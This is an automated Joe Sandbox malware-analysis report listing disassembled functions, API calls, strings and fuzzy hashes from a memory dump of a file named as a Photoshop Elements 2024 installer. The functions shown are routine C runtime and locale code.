Instruction ID: 9f7b7a4ee20b83662818f06ee2e5f8f64c16cce0c9d9b0020cbd43189583a52e
Opcode Fuzzy Hash: 3358fdfd858c93653d0d469a2a2559559b2a040dda81c6440e65831af724e690
Instruction Fuzzy Hash: 9BF01972A04205AFDB10EF98E84AB987BF1FB49721F10411AF5009B2A0DB755940CF40

Function 005413BB Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

EnumSystemLocalesW.KERNEL32(00541314,00000001,?,?,?,00541B7C,?,?,?,?), ref: 005413F2

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 343cc98c2ca922cdf9aeff4074764bcc571743dfa0f944a1fa1083ba42f8b67f
Instruction ID: 43eff5dfba834a2541e06f0dc32ed841e14ce188bf07b52c909b392af17b456e
Opcode Fuzzy Hash: 343cc98c2ca922cdf9aeff4074764bcc571743dfa0f944a1fa1083ba42f8b67f
Instruction Fuzzy Hash: F6F0E53670020567CF149F3AD846AAA7F94FFC1754F064058EA058BA90D7719882C794

Function 00537F90 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,?,?,?,?,005358CB,?,20001004,00000000,00000002), ref: 00537FC4

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b0aa25490f2f135433871e20f45f2f40c28060b7390aae5a13631d33783f8b16
Instruction ID: 9c9679bebe210e2818ec0bb5f737b9810cd2bb96b8342bbf68a704a6a83bb7cd
Opcode Fuzzy Hash: b0aa25490f2f135433871e20f45f2f40c28060b7390aae5a13631d33783f8b16
Instruction Fuzzy Hash: F9E04F7190421DBFCF226F60DC09EAE7F16FF59751F054411FD0566120CB368921AAD0

Function 0020A8B0 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ad781d382b06d5bd642c760e154b3e2ca856f1ade5eb03018fd8ba977d1fc97
Instruction ID: 4cc274c5b6cdcff37829e87243b2ecf078119fa72abcf8d23b5ee3ba312f4f82
Opcode Fuzzy Hash: 9ad781d382b06d5bd642c760e154b3e2ca856f1ade5eb03018fd8ba977d1fc97
Instruction Fuzzy Hash: 97E1D431B103099BCB14DFACD8855ADB7F9FF88310B64466EE416D7392DB31AA60CB91

Function 00540BCA Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLastProcess_free$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 4283097504-0
Opcode ID: 7ccb27c23ab61150e73ebfeba367c833f6bb14e1c6604595e7947f68e6062802
Instruction ID: c3f71415d39b2d601f2ba1d287ff69cbb3380f15ceaab44e88364c43f14e71bf
Opcode Fuzzy Hash: 7ccb27c23ab61150e73ebfeba367c833f6bb14e1c6604595e7947f68e6062802
Instruction Fuzzy Hash: DFB106755007069BDB389B24CC92BF7BBA8FF8430CF24496DEA47C65C0EA75A985CB00

Function 002E3460 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e375ca0c3b4e0941b3cca7a0535c6fd3058556be99fc056e22786e846ac5878b
Instruction ID: da723bc223a7ec61f308fc7502bad871d1cb759f285f7ed2ccb268e25d76b05c
Opcode Fuzzy Hash: e375ca0c3b4e0941b3cca7a0535c6fd3058556be99fc056e22786e846ac5878b
Instruction Fuzzy Hash: 4FB178706687C18FC724CF2AC4547AAB7F1AF9A305F88495DF096877A2D370EA94CB41

Function 0051F5F9 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062f95ef3d6be7af719a305f6e869d0234b11a08ac86190175e103ddf8784d8e
Instruction ID: 0bf3c11b09f034178c6d1d789956c359c5176df5a5a733495df5a23797e946bc
Opcode Fuzzy Hash: 062f95ef3d6be7af719a305f6e869d0234b11a08ac86190175e103ddf8784d8e
Instruction Fuzzy Hash: B7613770600206A6FB38AA2848957FE7F95FF81744F54493EE442EB2F1D761ADC2CB51

Function 005443C8 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b55b25fbc3e92e4a664993bf988204d177ae2af60c39f5ccc2161f85632ce6e1
Instruction ID: 4ceb05372d149021d4fa990d85c3a39436d9a531b82634712f26190af26d8e98
Opcode Fuzzy Hash: b55b25fbc3e92e4a664993bf988204d177ae2af60c39f5ccc2161f85632ce6e1
Instruction Fuzzy Hash: AC21B673F20539477B0CC47E8C562BDB6E1C68C501745823AE8A6EA2C1E968D917E2E4

Function 005442A8 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1449db83724d3f84224818299b67a54cf3491b95f59a1fdaa1ac990671d179
Instruction ID: 85a036fcc2baf4e53bc67ccfc603314c139583c60e7fb5e0bb18231d1ff1f30f
Opcode Fuzzy Hash: 1d1449db83724d3f84224818299b67a54cf3491b95f59a1fdaa1ac990671d179
Instruction Fuzzy Hash: B711A773F30C255B675C81698C172BA95D2EBD824034F533AD826E7284E994DE13D290

Function 0053B2D6 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9486a10f2320eb17c7116f68f3242d37b708120a8754045264d9c4dfc597859
Instruction ID: 7a5f9e77906a8f8b47d077ec77111213c3bbb9e2ae44fb5cb5a4f58c327dda57
Opcode Fuzzy Hash: a9486a10f2320eb17c7116f68f3242d37b708120a8754045264d9c4dfc597859
Instruction Fuzzy Hash: 98F03972A14234EBDB26DB48D809AA977ECFB89B61F510496F602EB251D7B0DE40C7C0

Function 0053B31A Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a400a8b6ea2c6bfbd79ebf6a89e9b60c091379e4a07e8bb0dc6292cd69e8da
Instruction ID: d6c54a76939a1002843fd7b5ac75387bca1f136938da4639b55edf60d6f03446
Opcode Fuzzy Hash: 66a400a8b6ea2c6bfbd79ebf6a89e9b60c091379e4a07e8bb0dc6292cd69e8da
Instruction Fuzzy Hash: FFE04672915238EBCB24DB88898898AB7ECFB88B10F1104A6B601D3100C2B0DE00C7D1

Function 00241410 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0024144F
std::_Lockit::_Lockit.LIBCPMT ref: 00241471
std::_Lockit::~_Lockit.LIBCPMT ref: 00241491
std::_Facet_Register.LIBCPMT ref: 00241610
std::_Lockit::~_Lockit.LIBCPMT ref: 00241636
Concurrency::cancel_current_task.LIBCPMT ref: 00241658
Concurrency::cancel_current_task.LIBCPMT ref: 0024165D
Concurrency::cancel_current_task.LIBCPMT ref: 00241662
Concurrency::cancel_current_task.LIBCPMT ref: 002417AD
Concurrency::cancel_current_task.LIBCPMT ref: 002417B2
Concurrency::cancel_current_task.LIBCPMT ref: 002417B7

Part of subcall function 00521898: _free.LIBCMT ref: 005218AB

Strings

ostream, xrefs: 002416FE, 00241716
false, xrefs: 002415B7, 00241739
true, xrefs: 002415E1, 00241763

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Lockit$Lockit::_Lockit::~_$Facet_Register_free
String ID: false$ostream$true
API String ID: 2654531044-2109533965
Opcode ID: 996adab75b2df4062b2633877532e12a4955515b9f9ab5098f95adaf00571027
Instruction ID: 5156388e49bac3d63d498528045aabcef30d81f193203674be8e625e63fb42d1
Opcode Fuzzy Hash: 996adab75b2df4062b2633877532e12a4955515b9f9ab5098f95adaf00571027
Instruction Fuzzy Hash: D8C12F709003468FDB24DFA4D845BAEBFB4FF45300F08852DE806AB782D772AA54CB91

Function 00540700 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00540744

Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA17
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA29
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA3B
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA4D
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA5F
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA71
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA83
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FA95
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FAA7
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FAB9
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FACB
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FADD
Part of subcall function 0053F9FA: _free.LIBCMT ref: 0053FAEF

_free.LIBCMT ref: 00540739

Part of subcall function 00535D79: RtlFreeHeap.NTDLL(00000000,00000000,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?), ref: 00535D8F
Part of subcall function 00535D79: GetLastError.KERNEL32(?,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?,?), ref: 00535DA1

_free.LIBCMT ref: 0054075B
_free.LIBCMT ref: 00540770
_free.LIBCMT ref: 0054077B
_free.LIBCMT ref: 0054079D
_free.LIBCMT ref: 005407B0
_free.LIBCMT ref: 005407BE
_free.LIBCMT ref: 005407C9
_free.LIBCMT ref: 00540801
_free.LIBCMT ref: 00540808
_free.LIBCMT ref: 00540825
_free.LIBCMT ref: 0054083D

Strings

DEj, xrefs: 00540716

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: DEj
API String ID: 161543041-2830880520
Opcode ID: 3a33992c46b44a25ee5cfb7e05defc1b8816d2000f8db6af632d321f4c0e2126
Instruction ID: 2370706f2af3ddb86e6b8188af0a67257329cc49cfac4ad5c7f7a42d68b96172
Opcode Fuzzy Hash: 3a33992c46b44a25ee5cfb7e05defc1b8816d2000f8db6af632d321f4c0e2126
Instruction Fuzzy Hash: 4C317236500A01AFDB216F38D849B967FE8FF80314F206829E145D7191DF70FD808B91

Function 003C6900 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000000,?,003ED171,00000000,00000000,00000001), ref: 003C691A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000), ref: 003C69C8
GetLastError.KERNEL32 ref: 003C69DF
GetLastError.KERNEL32 ref: 003C6A03

Strings

Error allocating memory while converting UTF8 string to Native string, xrefs: 003C6955, 003C6991
Failed to convert MultiByteToWideChar. ErrorCode::%d, xrefs: 003C69E6, 003C6A12, 003C6A5D
StringUtils, xrefs: 003C6964, 003C6996, 003C69EB, 003C6A21, 003C6A62
OOBEUtils, xrefs: 003C6969, 003C6A26

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: Error allocating memory while converting UTF8 string to Native string$Failed to convert MultiByteToWideChar. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 203985260-475419079
Opcode ID: 766017a21c62cdda8776b17fe50fad7be1cc3c44677aa9703ca7ffc728662cdd
Instruction ID: 2d79143ca6130032964ba4c815d76b2d140e2d323f7afc3d90fe2c09d71b4988
Opcode Fuzzy Hash: 766017a21c62cdda8776b17fe50fad7be1cc3c44677aa9703ca7ffc728662cdd
Instruction Fuzzy Hash: BC4144367812147BDB20BB58EC47F6B7BA5EF82B10F05826DF909A72D0DA615C0587D1

Function 00512380 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,002E8E75,002E8E77,00000000,00000000,9F8BC7FC,?,00000000,?,00512F20,0069EFB0,000000FE,?,002E8E75,?), ref: 00512409
MultiByteToWideChar.KERNEL32(00000000,00000000,002E8E75,?,00000000,00000000,?,00512F20,0069EFB0,000000FE,?,002E8E75), ref: 00512484
SysAllocString.OLEAUT32(00000000), ref: 0051248F
_com_issue_error.COMSUPP ref: 005124B8
_com_issue_error.COMSUPP ref: 005124C2
GetLastError.KERNEL32(80070057,9F8BC7FC,?,00000000,?,00512F20,0069EFB0,000000FE,?,002E8E75,?), ref: 005124C7
_com_issue_error.COMSUPP ref: 005124DA
GetLastError.KERNEL32(00000000,?,00512F20,0069EFB0,000000FE,?,002E8E75,?), ref: 005124F0
_com_issue_error.COMSUPP ref: 00512503

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: d7adc7a95f065f9f67d816dd5d1ebbcca6ae7da89c481213aec569fc19bf9059
Instruction ID: 29193a8abf78c7d38573c5c7f574da420e92421eb09d7e2fd11639df08f69557
Opcode Fuzzy Hash: d7adc7a95f065f9f67d816dd5d1ebbcca6ae7da89c481213aec569fc19bf9059
Instruction Fuzzy Hash: 69412671A002069BEB109F68DC89BEEBFA8FF45710F104629F819E7280D7759990CBA4

Function 00539E5D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 00539E76

Strings

log10, xrefs: 00539EB8, 00539EC7
pow, xrefs: 00539F14, 00539FBE, 0053A00B
acos, xrefs: 00539FAC
asin, xrefs: 00539FA3
exp, xrefs: 00539EF5, 00539F5A
sqrt, xrefs: 00539FB5

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
